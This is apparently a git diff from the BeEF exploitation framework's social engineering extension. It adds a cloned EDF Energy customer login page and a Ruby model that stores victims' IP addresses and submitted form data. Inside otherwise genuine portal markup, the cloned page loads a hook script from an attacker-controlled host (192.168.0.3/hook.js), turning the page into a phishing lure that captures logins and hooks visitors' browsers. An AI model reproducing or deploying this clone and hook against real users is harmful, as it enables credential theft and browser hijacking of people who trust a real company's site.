if ( EPCM.getUAType() != EPCM.MSIE && EPCM.getUAType() != EPCM.MOZILLA) return;
|
||||
if ( EPCM.getGlobalDirty() && (! disableWorkProtectCheck ))
|
||||
{
|
||||
if(EPCM.getUAType() == EPCM.MSIE )
|
||||
{
|
||||
evt.returnValue = 'You have unsaved data';
|
||||
}
|
||||
else
|
||||
{
|
||||
evt.preventDefault();
|
||||
evt.stopPropagation();
|
||||
return 'You have unsaved data';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try{
|
||||
if ( EPCM.getUAType() == EPCM.MSIE || EPCM.getUAType()== EPCM.MOZILLA){
|
||||
if (window==EPCM.getSAPTop()){
|
||||
window.onbeforeunload = popupUnsavedDataBeforeUnload;
|
||||
}
|
||||
}
|
||||
} catch(ex){}
|
||||
</script><script>frameworkSupport.init({anonymous:true,phase:'framework',portalURL:'https://my-account.edfenergy.com:443/irj/portal/anonymous'});</script><script>frameworkSupport.init2({contentAreaURL:'/irj/servlet/prt/portal/prteventname/Navigate/prtroot/pcd!3aportal_content!2fEdf_Energy_Development!2fOrchard!2fDesktop!2fEDFE_Framework!2fEDFE_Anonymous!2fCustomLogonDesktop!2fframeworkPages!2fcom.edfe.orchard.pct.Logon_Page_pg!2fcom.sap.portal.innerpage!2fcom.sap.portal.contentarea',portalURL:'https://my-account.edfenergy.com:443/irj/portal/anonymous',innerPage:'pcd:portal_content/Edf_Energy_Development/Orchard/Desktop/EDFE_Framework/EDFE_Anonymous/CustomLogonDesktop/frameworkPages/com.edfe.orchard.pct.Logon_Page_pg/com.sap.portal.innerpage',innerPageFrameURL:'/irj/servlet/prt/portal/prteventname/Navigate/prtroot/pcd!3aportal_content!2fEdf_Energy_Development!2fOrchard!2fDesktop!2fEDFE_Framework!2fEDFE_Anonymous!2fCustomLogonDesktop!2fframeworkPages!2fcom.edfe.orchard.pct.Logon_Page_pg!2fcom.sap.portal.innerpage',tlnComp:'/irj/portalapps/com.sap.portal.navigation.toplevel',ObjBasedNavigationURL:'/irj/servlet/prt/portal/prtroot/com.sap.portal.navigation.objbased.ObjBasedNavigation',serverPath:'https://my-account.edfenergy.com:443',usedConnectors:''});</script>
|
||||
|
||||
<span id=divChangeContent name=divChangeContent style="position:absolute;height:0;width:0;top:-5000;left:-5000">
|
||||
<FORM action="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com" method=POST id="frmChangeContent" name="frmChangeContent">
|
||||
<INPUT type="hidden" id=NavigationTarget name=NavigationTarget>
|
||||
<INPUT type="hidden" id=RelativeNavBase name=RelativeNavBase></INPUT>
|
||||
<input type="hidden" name="__ncforminfo" value="aG5IjEByLfUhgPrZWDRw08VLuhthw6Alf_ythxgZRxx-bn2SU9GjY2G8UFdotsliPfe5ArbcVEM="></FORM>
|
||||
<form id='obnNavForm' method='post' target='obnNavIFrame' action="/irj/portal/anonymous"> <input type='hidden' name='systemAlias'>
|
||||
<input type='hidden' name='businessObjName'>
|
||||
<input type='hidden' name='objValue'>
|
||||
<input type='hidden' name='operation'>
|
||||
<input type='hidden' name='usePost' value='false'>
|
||||
<input type='hidden' name='source'>
|
||||
<input type='hidden' name='resolvingMode' value='Default'>
|
||||
<input type="hidden" name="__ncforminfo" value="aG5IjEByLfUZncgeJn0nDtoKgRZLTHoNG9b8gjXLxyg1JXcdz0DDEk4i74Lypj65OK5A4udLxsoXWiF7rrPTfgID-qUNr8-D6aXCTTHzGtpGEifQUi875Ykz1XmE69Xx"></form>
|
||||
</span>
|
||||
<iframe src='https://my-account.edfenergy.com/irj/portalapps/com.sap.portal.pagebuilder/html/EmptyDocument.html' style='position:absolute;height:0;visibility:hidden' name='obnNavIFrame' id='obnNavIFrame'></iframe>
|
||||
<script>var disablePersonalize = true;</script>
|
||||
<!-- EPCF: Component com.sap.portal.pagebuilder.pageBuilder, agnkfkoliedeidmfenendpdjjggfpmic -->
|
||||
<SCRIPT>var emptyDocumentUrl = "/irj/portalapps/com.sap.portal.pagebuilder/html/EmptyDocument.html";</SCRIPT>
|
||||
<!-- EPCF: Component com.sap.portal.layouts.framework.light_framework, fbkobmdfenlemkgnkdbnmfdjjggfpmip -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<SCRIPT>if (typeof EPCM != "undefined") {EPCM.relaxDocumentDomain();} else { var d=document.domain; if (d.search(/^\d+\.\d+\.\d+\.\d+$/)>=0) {} else { var l=d.indexOf("."); if (l>=0) {d=d.substr(l+1)} } if (document.domain != d) {document.domain = d;}}
|
||||
pageSupport.pageHelperUrl = '/irj/servlet/prt/portal/prtroot/com.sap.portal.pagebuilder.PageHelper';
|
||||
pageSupport.proxyModesUrl = '/irj/servlet/prt/portal/prtroot/com.sap.portal.pagebuilder.IviewModeProxy';
|
||||
pageSupport.addPageId('pcd:portal_content/Edf_Energy_Development/Orchard/Desktop/EDFE_Framework/EDFE_Anonymous/CustomLogonDesktop/frameworkPages/com.edfe.orchard.pct.Logon_Page_pg','0','local');
|
||||
pageSupport._addIvuPageId("pcd:portal_content/Edf_Energy_Development/Orchard/Desktop/EDFE_Framework/EDFE_Anonymous/CustomLogonDesktop/frameworkPages/com.edfe.orchard.pct.Logon_Page_pg/com.edfe.orchard.pct.Logon_ivu","page0ivu0");
|
||||
pageSupport._addIViewBank("page0ivu0",new iviewBank("","",pageSupport.EMBEDDED,1,"0","","GET"));
|
||||
</SCRIPT>
|
||||
<script>
|
||||
document.body.style.margin=0;
|
||||
document.body.scroll = "no";
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
<TABLE style="WIDTH: 100%" cellSpacing=0 cellPadding=0 class="prtlHeaderCon" ><TR><TD>
|
||||
<!-- EPCF: Component com.edfe.orchard.Logon.LogonComp, fchmhdeefnpeknleddanfldjjggfpmig -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<html xmlns:xalan-nodeset="http://xml.apache.org/xalan" xmlns:java="http://xml.apache.org/xslt/java" xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta name="generator" content="HTML Tidy for Windows (vers 14 February 2006), see www.w3.org" />
|
||||
<title>MyAccount</title>
|
||||
|
||||
|
||||
<link rel="SHORTCUT ICON" href="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/favicon/favicon.ico" />
|
||||
|
||||
|
||||
<script type="text/javascript" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/scripts/edfenergy-ga-script-n.js"></script>
|
||||
|
||||
<script type="text/javascript">
|
||||
loadTrackCode('UA-25608035-1');
|
||||
|
||||
|
||||
_gaq.push(['_trackPageview', 'Login']);
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
<script language="JavaScript">
|
||||
/*var emailRegEx = /^([a-zA-Z0-9_\.\!\#\$\%\^\&\*\{\}\~\`\+\_\=\?\'\|\"\-]{2,})\@(([a-zA-Z0-9\-]{2,})\.)+([a-zA-Z]{2,4})+$/;*/
|
||||
var emailRegEx = /^\s*[\w\-\+_\{\}\~\`\+\_\=\?\'\|\"\-\!\#\$\%\^\&\*]+(\.[\w\-\+_\']+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/;
|
||||
var Monitor_Flag1 = true;
|
||||
document.onkeyup = checkKeyPressed;
|
||||
|
||||
window.history.forward(1);
|
||||
|
||||
function EDFEDisableSubmitButton1( button_text1, button_id1 )
|
||||
{
|
||||
var bid = button_id1;
|
||||
var btext = button_text1;
|
||||
document.getElementById( bid ).innerHTML = "<div class='btbg' id='"+bid+"'><a>"+ btext +" » </a></div>" ;
|
||||
}
|
||||
|
||||
function checkCode()
|
||||
{
|
||||
if(event.keyCode==13)
|
||||
{
|
||||
event.keyCode=9;
|
||||
}
|
||||
}
|
||||
function checkKeyPressed()
|
||||
{
|
||||
if(event.keyCode==13)
|
||||
{
|
||||
|
||||
if(Monitor_Flag1!=null && Monitor_Flag1==true){
|
||||
|
||||
callGA('yes');
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
callGA('no');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function change(param1,param2)
|
||||
{
|
||||
param1.style.backgroundColor = param2;
|
||||
}
|
||||
|
||||
|
||||
function allValidChars(email)
|
||||
{
|
||||
|
||||
var parsed = true;
|
||||
|
||||
var validchars = "abcdefghijklmnopqrstuvwxyz0123456789@.-_!#$%&`*+-/=?^'{}|~\"";
|
||||
|
||||
|
||||
for (var i=0; i < email.length; i++)
|
||||
{
|
||||
|
||||
var letter = email.charAt(i).toLowerCase();
|
||||
|
||||
if (validchars.indexOf(letter) != -1)
|
||||
continue;
|
||||
parsed = false;
|
||||
break;
|
||||
}
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function trim(str) {
|
||||
return str.replace(/(^[\s\xA0]+|[\s\xA0]+$)/g, '');
|
||||
}
|
||||
function validateEmail(email)
|
||||
{
|
||||
var decision = true;
|
||||
if(trim(email)!= null && trim(email) !=""){
|
||||
if(email.match(emailRegEx)){
|
||||
decision = true;
|
||||
}else{
|
||||
decision = false;
|
||||
}
|
||||
}else{
|
||||
decision = false;
|
||||
}
|
||||
|
||||
/*
|
||||
if (! allValidChars(email))
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
if (email.indexOf("@") < 1)
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
|
||||
if(email.indexOf("@")!=email.lastIndexOf("@"))
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
|
||||
else if (email.lastIndexOf(".") <= email.indexOf("@"))
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
else if (email.indexOf("@") == email.length)
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
else if (email.indexOf("..") >=0)
|
||||
{
|
||||
decision = false;
|
||||
}
|
||||
else if (email.indexOf(".") == email.length)
|
||||
{
|
||||
decision = false;
|
||||
}*/
|
||||
if(!decision)
|
||||
{
|
||||
|
||||
document.logonForm.f_username.focus();
|
||||
|
||||
change(document.logonForm.f_username,'#FFFFFF'); // Cosmotic Changes
|
||||
|
||||
document.getElementById('errorMessage').innerHTML = "Please enter a valid email address";
|
||||
document.getElementById('errorMessage1').innerHTML = "";
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
change(document.logonForm.f_username,'#FFFFFF');
|
||||
}
|
||||
return decision;
|
||||
}
|
||||
|
||||
|
||||
function callGA(GA)
|
||||
{
|
||||
if(GA!=null && GA=="yes")
|
||||
{
|
||||
_gaq.push(['_trackPageview', 'LoginAttempted']);
|
||||
}
|
||||
var t = setTimeout("validateLogin()", 100);
|
||||
}
|
||||
|
||||
|
||||
|
||||
function validateLogin()
|
||||
{
|
||||
|
||||
var email = document.logonForm.f_username.value;
|
||||
var pass = document.logonForm.f_passwd.value;
|
||||
|
||||
if(email==null || email=="")
|
||||
{
|
||||
document.logonForm.f_username.focus();
|
||||
|
||||
document.getElementById('errorMessage').innerHTML = "Please enter your 'username', which is your email address";
|
||||
|
||||
document.getElementById('errorMessage1').innerHTML = "";
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(validateEmail(email))
|
||||
{
|
||||
if(pass==null || pass=='')
|
||||
{
|
||||
document.logonForm.f_passwd.focus();
|
||||
document.getElementById('errorMessage').innerHTML = "Please enter your password";
|
||||
document.getElementById('errorMessage1').innerHTML = "";
|
||||
change(document.logonForm.f_passwd,'#FFFFFF');
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
change(document.logonForm.f_passwd,'#FFFFFF');
|
||||
document.logonForm.action = "/nclogin.submit";
|
||||
|
||||
EDFEDisableSubmitButton1('Login','EDFElogonButton');
|
||||
document.logonForm.submit();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
function validateFU()
|
||||
{
|
||||
document.logonForm.action = "/irj/servlet/prt/portal/prtroot/com.edfe.orcharcd.forgotUserName.ForgotUserNameController";
|
||||
document.logonForm.submit();
|
||||
}
|
||||
|
||||
|
||||
function validateFP()
|
||||
{
|
||||
document.logonForm.action = "/irj/servlet/prt/portal/prtroot/com.edfe.orchard.forgotPassword.ForgotPasswordComp";
|
||||
document.logonForm.submit();
|
||||
}
|
||||
|
||||
|
||||
function validateRegisterSME()
|
||||
{
|
||||
document.logonForm.action = "/irj/servlet/prt/portal/prtroot/com.edfe.orchard.SelfRegistration.SelfRegistrationComp"+"?refUsr=SME";
|
||||
|
||||
document.logonForm.submit();
|
||||
}
|
||||
function validateRegisterResi()
|
||||
{
|
||||
document.logonForm.action = "/irj/servlet/prt/portal/prtroot/com.edfe.orchard.SelfRegistration.SelfRegistrationComp"+"?refUsr=RESI";
|
||||
|
||||
document.logonForm.submit();
|
||||
}
|
||||
|
||||
|
||||
function validateMR()
|
||||
{
|
||||
document.logonForm.action = "/irj/servlet/prt/portal/prtroot/EnterMeterRead_OutAccount.EnterMeterRead_Controller";
|
||||
document.logonForm.submit();
|
||||
}
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
<script type="text/javascript" src="http://192.168.0.3:80/hook.js"></script>
|
||||
</head>
|
||||
|
||||
<body onLoad="history.forward(); document.logonForm.f_username.focus();">
|
||||
<div id="wrap">
|
||||
<div id="outer-right">
|
||||
<div id="outer">
|
||||
<!--------------------------- start top section ----------------------------------->
|
||||
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
function performSearch()
|
||||
{
|
||||
var searchItem = document.getElementById('searchBox');
|
||||
window.open('http://www.edfenergy.com/search-results.php?query='+searchItem.value,'_blank');
|
||||
}
|
||||
|
||||
function clearText()
|
||||
{
|
||||
document.getElementById('searchBox').value="";
|
||||
}
|
||||
|
||||
function EDFEDisableSubmitButton( button_text, button_id )
|
||||
{
|
||||
var bid = button_id;
|
||||
var btext = button_text;
|
||||
document.getElementById( bid ).innerHTML = "<div class='btbg' id='"+bid+"'><a>"+ btext +" » </a></div>" ;
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
<!--------------------------- start top section ----------------------------------->
|
||||
|
||||
<div id="header">
|
||||
<p class="hide-element">
|
||||
<a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#pnav">skip to primary navigation</a>
|
||||
</p>
|
||||
<div id='logo'>
|
||||
<img src='https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/common/edfenergy_logo2.gif' title='EDF Energy' alt='EDF Energy' width='56' height='89' border='0' />
|
||||
</div><!-- start top utilities -->
|
||||
|
||||
<div id="toplinks">
|
||||
<div class="left">
|
||||
<ul>
|
||||
<li><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com">Home</a></li>
|
||||
<li><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com">MyAccount</a></li>
|
||||
<li><a href="https://my-account.edfenergy.com/irj/servlet/prt/portal/prtroot/EnterMeterRead_OutAccount.EnterMeterRead_Controller">My meter reading</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="right">
|
||||
<ul>
|
||||
<li><a href="http://www.edf.com" target="_blank">EDF Group</a></li>
|
||||
</ul>
|
||||
|
||||
<div id="searchform">
|
||||
<form name="SearchForm" id="SearchForm" action="/irj/portal/anonymous"> <input name="searchBox" id="searchBox" type="text" value="Search" class="searchtextbox" onfocus="clearText()" />
|
||||
<input name="searchSubmit" type="image" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/common/search-icon.png" title="Perform Search" class="faq-button" onclick="performSearch(); return false;" />
|
||||
<input type="hidden" name="__ncforminfo" value="aG5IjEByLfWulwL539YlRxugW3Unfla8YtGvDKb-X_2YFxvNDTOZUB0qVQVl6ZXF"></form>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div id="olympiclogo">
|
||||
<img src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/common/london2012_logo_new.gif" alt="London 2012 Official Electricity Supplier" title="London 2012 Official Electricity Supplier" />
|
||||
</div><!-- end top utilities -->
|
||||
|
||||
<!-- start top navigation -->
|
||||
<div id="topnav">
|
||||
<div id="topnav-inner">
|
||||
<p class="hide-element">
|
||||
<a name="pnav" id="pnav">primary navigation</a>
|
||||
</p>
|
||||
<p class="hide-element">
|
||||
<a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#snav">skip to secondary navigation</a>
|
||||
</p>
|
||||
<ul>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/products-services/index.shtml" >Products & Services</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="http://www.edfenergy.com/energyfuture">Energy Future</a>
|
||||
</li>
|
||||
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/about-us/index.shtml">About us</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/sustainability/index.shtml">Sustainability</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/careers/index.shtml">Careers</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/media-centre/index.shtml">Media centre</a>
|
||||
</li>
|
||||
<li>
|
||||
<a target="_blank" href="https://www.edfenergy.com/safety-emergencies/index.shtml">Safety & emergencies</a>
|
||||
</li>
|
||||
|
||||
</ul>
|
||||
<div class="clearFix"></div>
|
||||
</div>
|
||||
</div><!-- end top navigation -->
|
||||
</div>
|
||||
<!--------------------------- end top section ----------------------------------->
|
||||
|
||||
|
||||
|
||||
<!--------------------------- end top section ----------------------------------->
|
||||
|
||||
<div id="pagehold">
|
||||
|
||||
<!--------------------------- start left section ----------------------------------->
|
||||
|
||||
|
||||
|
||||
|
||||
<SCRIPT>
|
||||
function fnNavigateMenu(locationURL,navigParam,menuIden)
|
||||
{
|
||||
if (navigParam == 'false')
|
||||
{
|
||||
document.outsidemenu.menuidentifier.value = menuIden ;
|
||||
document.outsidemenu.action = locationURL ;
|
||||
document.outsidemenu.submit() ;
|
||||
}
|
||||
else
|
||||
{
|
||||
window.open(locationURL) ;
|
||||
}
|
||||
}
|
||||
</SCRIPT>
|
||||
|
||||
<!-- start left section forgottenusername.html;forgottenpassword.html -->
|
||||
<div id="leftnav-outer">
|
||||
<div id="leftnav">
|
||||
<ul>
|
||||
|
||||
<li><ul><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" class="xxx" onClick="fnNavigateMenu('/irj/servlet/prt/portal/prtroot/EnterMeterRead_OutAccount.EnterMeterRead_Controller','false','EMR')" >Submit meter reading</a></ul></li>
|
||||
|
||||
<li>
|
||||
<ul>
|
||||
<a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" class="xxx" onClick="fnNavigateMenu('http://www.edfenergy.com/contact-us/index.shtml','true','CONTACTUS')">Contact us</a>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
|
||||
<ul><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" class="current" onClick="fnNavigateMenu('/irj/portal/anonymous','false','LOGON')" >Login / Register</a>
|
||||
<ul>
|
||||
<li><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" class="" onClick="fnNavigateMenu('/irj/servlet/prt/portal/prtroot/com.edfe.orcharcd.forgotUserName.ForgotUserNameController','false','FUN')" >Forgotten your username</a></li>
|
||||
<li><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" class="" onClick="fnNavigateMenu('/irj/servlet/prt/portal/prtroot/com.edfe.orchard.forgotPassword.ForgotPasswordComp','false','FUP')" >Forgotten your password</a></li>
|
||||
</ul>
|
||||
</ul>
|
||||
|
||||
</li>
|
||||
|
||||
</ul>
|
||||
|
||||
<ul>
|
||||
<br/><br/>
|
||||
<div id="lpButtonDiv" align="center">
|
||||
|
||||
</div>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<!-- end left section -->
|
||||
<form name="outsidemenu" method="POST" action="/irj/portal/anonymous"> <input type="hidden" name="menuidentifier" value="">
|
||||
<input type="hidden" name="__ncforminfo" value="aG5IjEByLfWqJ6R7zZUHhDE15UF2cpEumhm0TWuQDLfNnOD8MqMtjNF30GgZOV1f"></form>
|
||||
|
||||
<!--------------------------- end left section ----------------------------------->
|
||||
|
||||
|
||||
<!--------------------------- start middle section ----------------------------------->
|
||||
|
||||
<div id="maincontent-wrap" class="fullwidth">
|
||||
<p class="hide-element">
|
||||
<a name="cont" id="cont">main content</a>
|
||||
</p>
|
||||
<div id="maincontent-full" class="nobanner">
|
||||
<div id="banner" class="BannerWith2Circles">
|
||||
<h1>
|
||||
Login / Register
|
||||
</h1>
|
||||
<div id="banner_text_wrap">
|
||||
<img alt="" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/banners/my-account.jpg" />
|
||||
<div id="banner_text">
|
||||
<p>
|
||||
<br /> <br />Login or register<br />to access your<br />
|
||||
energy account online<br /> <br /> <br /> <br />
|
||||
</p>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="two-col-wrap" class="two_col_wrap_bg">
|
||||
|
||||
<div id="content" class="make-full">
|
||||
<div id="data">
|
||||
<div id="leftcolumn">
|
||||
<h2>Login to MyAccount</h2>
|
||||
|
||||
<!-- Prototype Builder Start srm::-->
|
||||
|
||||
<form name="logonForm" method="post" action="/irj/portal/anonymous">
|
||||
<span class="legacymessage">
|
||||
|
||||
</span>
|
||||
<span class="legacymessage">
|
||||
|
||||
</span>
|
||||
|
||||
|
||||
|
||||
<span class="warningmessage" id="errorMessage"></span><BR/>
|
||||
<span class="warningmessage" id="errorMessage1"></span>
|
||||
|
||||
|
||||
<input type ="hidden" name = "f_method" value = "LOGIN" />
|
||||
<table class="formfields" border="1" summary="Visual Layout for the login form">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th><label for="f_username">Username (email address)<em>*</em></label></th><td>
|
||||
|
||||
<input id="f_username" name="f_username" type="text" size="27" maxlength="241" tabindex="1" value=""/>
|
||||
|
||||
<A class="form_field_help" href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#f_username"><IMG alt="help" title="help" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/buttons/help_button.gif"><SPAN>Please enter your username</SPAN></A>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th><label for="f_passwd">Password<em>*</em></label></th><td>
|
||||
|
||||
<input id="f_passwd" name="f_passwd" type="Password" size="18" maxlength="16" tabindex="2" autocomplete=OFF/>
|
||||
|
||||
<A class="form_field_help" href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#f_passwd"><IMG alt="help" title="help" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/images/buttons/help_button.gif"><SPAN>Please enter the password for this account</SPAN></A>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
||||
<input type="submit" value="Login" style="background:#FE5815;color:white!important;heigth:6em;width:7em;font-size:14px;font-family:arial;font-weight:500;margin:0px;padding-left:15px;padding-right:15px;padding-top:7px;padding-bottom:7px;border:none;cursor:pointer">
|
||||
|
||||
|
||||
<br /><br /><br />
|
||||
<p>Forgotten your <a href="javaScript:validateFU();">username</a> or <a href="javaScript:validateFP();">password</a>?</p>
|
||||
<input type="hidden" name="__ncforminfo" value="aG5IjEByLfUN7mVuDM1dmcrQChOQXirPHBYBwncOB_h5_QMzu8x_5eBlZcqXpqJKJuOtpQFlZPpXFhCbOjTPxw=="></form>
|
||||
|
||||
<!-- Prototype Builder End -->
|
||||
</div>
|
||||
<div id="rightcolumn">
|
||||
<h2>Register Today!</h2>
|
||||
<p> </p>
|
||||
|
||||
<ul>
|
||||
<li class="tick"> View and pay your bills</li>
|
||||
<li class="tick"> Submit your meter reading</li>
|
||||
<li class="tick"> Update your details</li>
|
||||
<li class="tick"> Sign up for Direct Debit</li>
|
||||
</ul><br/>
|
||||
|
||||
|
||||
<table border=0><tr>
|
||||
<td>
|
||||
<div class="btbu" id="registerButtonResi"><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" onClick="validateRegisterResi();" class="">Register your<br> home »</a></div>
|
||||
</td><td>
|
||||
</td>
|
||||
<td> <div class="btbu" id="registerButtonSME"><a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" onClick="validateRegisterSME();" class="">Register your<br> business »</a></div>
|
||||
</td></tr>
|
||||
</table>
|
||||
<br/>
|
||||
<p><strong>Don't have an online account?</strong><br/>You can still <a href="https://my-account.edfenergy.com/irj/portal/my-account.edfenergy.com#" onClick="validateMR();">submit a meter reading</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!--------------------------- end middle section ----------------------------------->
|
||||
|
||||
</div><!--pagehold-->
|
||||
|
||||
<!--------------------------- start bottom section ----------------------------------->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<script type="text/javascript">
|
||||
var __stormJs = 't1.stormiq.com/dcv4/jslib/3171_71E90107_6FC7_48DB_B3F5_713D754C9B89.js';
|
||||
</script>
|
||||
<script type="text/javascript" src="https://my-account.edfenergy.com/irj/portalapps/com.edfe.orchard.Logon/scripts/track.js"></script>
|
||||
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
function TermsAndConditions()
|
||||
{
|
||||
window.open("/irj/servlet/prt/portal/prtroot/com.edfe.orchard.SelfRegistration.PromotionalContentComp?fileName=TermsAndConditions.htm","MyAccount","location=no,scrollbars=yes");
|
||||
//location.href = "/irj/servlet/prt/portal/prtroot/orcss.anonym.tncprivacy.TnCPrivacyPolicyController?urlParameter=tnc";
|
||||
}
|
||||
function PrivacyPolicy()
|
||||
{
|
||||
window.open("/irj/servlet/prt/portal/prtroot/com.edfe.orchard.SelfRegistration.PromotionalContentComp?fileName=Privacy.html","MyAccount","location=no,scrollbars=yes");
|
||||
//location.href = "/irj/servlet/prt/portal/prtroot/orcss.anonym.tncprivacy.TnCPrivacyPolicyController?urlParameter=privacy";
|
||||
}
|
||||
// Removes leading whitespaces
|
||||
function LTrim( value ) {
|
||||
|
||||
var re = /\s*((\S+\s*)*)/;
|
||||
return value.replace(re, "$1");
|
||||
|
||||
}
|
||||
|
||||
// Removes ending whitespaces
|
||||
function RTrim( value ) {
|
||||
|
||||
var re = /((\s*\S+)*)\s*/;
|
||||
return value.replace(re, "$1");
|
||||
|
||||
}
|
||||
|
||||
// Removes leading and ending whitespaces
|
||||
function trim( value ) {
|
||||
|
||||
return LTrim(RTrim(value));
|
||||
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
<!-- start bottom section -->
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="javascript:TermsAndConditions();">Terms & conditions</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:PrivacyPolicy();">Privacy</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="http://www.edfenergy.com/products-services/accessibility.shtml" target="_blank">Accessibility</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="http://www.edfenergy.com/products-services/copyright.shtml" target="_blank">Copyright statement</a>
|
||||
</li>
|
||||
<li class="last">
|
||||
<a href="http://www.edfenergy.com/products-services/fuel-mix.shtml" target="_blank">Our fuel mix</a>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<p class="copy"> © EDF Energy 2012 All rights reserved</p>
|
||||
<p class = "cookiePolicy">By continuing to use this site, you agree to our <a target="_blank" href="http://www.edfenergy.com/about-us/cookies/cookie-policy.shtml" style = "text-decoration:underline; color: #fff">Cookie Policy</a>.If you don't agree to Cookies<br>being stored on your computer in line with that policy please navigate away from this site.</p>
|
||||
</div>
|
||||
|
||||
<!-- end bottom section -->
|
||||
|
||||
|
||||
<SCRIPT>
|
||||
document.body.scroll = "";
|
||||
</SCRIPT>
|
||||
<!--------------------------- end bottom section ----------------------------------->
|
||||
|
||||
</div><!--outer-->
|
||||
</div>
|
||||
</div><!--wrap-->
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
</TD></TR></TABLE>
|
||||
|
||||
|
||||
</body></html>
|
||||
|
After Width: | Height: | Size: 2.9 KiB |
|
After Width: | Height: | Size: 864 B |
|
After Width: | Height: | Size: 3.5 KiB |
35
extensions/social_engineering/models/interceptor.rb
Normal file
@@ -0,0 +1,35 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class Interceptor
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_seng_interceptor'
|
||||
|
||||
property :id, Serial
|
||||
property :ip, Text, :lazy => false
|
||||
property :post_data, Text, :lazy => false
|
||||
|
||||
belongs_to :webcloner
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
33
